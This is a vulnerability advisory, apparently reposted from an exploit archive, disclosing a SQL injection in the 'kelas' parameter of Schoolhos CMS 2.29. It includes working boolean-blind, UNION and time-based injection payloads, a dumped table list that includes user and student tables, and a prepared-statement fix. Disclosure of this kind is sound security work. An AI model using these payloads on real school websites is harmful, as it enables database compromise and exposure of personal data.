Schoolhos CMS 2.29 - (kelas) Parameter SQL Injection Vulneraility

Document Title:
===============
Schoolhos CMS v2.29 - (kelas) Data Siswa SQL Injection Vulnerability
 
 
Product & Service Introduction:
===============================
Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.
 
(Copy of the Vendor Homepage: http://www.schoolhos.com/  &  https://sourceforge.net/projects/schoolhoscms/ )
 
 
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the official Schoolhos v2_29 content management system.
 
 
Technical Details & Description:
================================
A remote sql injection web vulnerability has been discovered  in the official Schoolhos v2_29 content management system.
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms. 
 
The sql injection vulnerability is located in the `kelas` parameter of the `index?p=siswakelas module POST method request. 
Remote attackers are able to execute own sql commands by usage of an insecure post method request through the vulnerable 
parameter of the own application. The attack vector of the vulnerability is application-side and the request method to 
inject is POST. The security vulnerability in the content management system is a classic select remote sql-injection.
 
The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7.
Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
 
Request Method(s): 
[+] POST
                        
Vulnerable Module(s):
[+] ./SCRIPTPATH/index.php?p=siswakelas
 
Vulnerable Parameter(s):
[+] kelas 
 
 
Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by remote attackers without privileged web-application user account and without user interaction.
For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue.
 
 
-- PoC Session Logs ---
[+] Place: POST > Parameter: kelas
 
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: kelas=1' AND 4945=4945 AND 'SfWY'='SfWY
 
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: kelas=-2062' UNION ALL SELECT NULL,CONCAT(0x71736b6271,0x43746d4846536767524d,0x716b6d6171),NULL#
 
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: kelas=1' AND SLEEP(5) AND 'Wqrd'='Wqrd
---
[21 tables]
+-----------------+
| sh_agenda       |
| sh_album        |
| sh_berita       |
| sh_buku_tamu    |
| sh_galeri       |
| sh_guru_staff   |
| sh_info_sekolah |
| sh_jabatan      |
| sh_kategori     |
| sh_kelas        |
| sh_komentar     |
| sh_mapel        |
| sh_materi       |
| sh_pengaturan   |
| sh_pengumuman   |
| sh_psb          |
| sh_sidebar      |
| sh_siswa        |
| sh_statistik    |
| sh_tema         |
| sh_users        |
+-----------------+
 
 
Solution - Fix & Patch:
=======================
The sql-injection vulnerability in the `kelas` parameter of the `index.php` file POST method request can be patched by usage of a secure 
prepared statement. Parse the parameter and encode the values to a secure format to prevent further 
sql-injection attacks. Escape the parameter and disallow usage of special chars.
 
 
Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the schoolhos content management system is estimated as high. (CVSS 6.7)

#  0day.today [2018-04-09]  #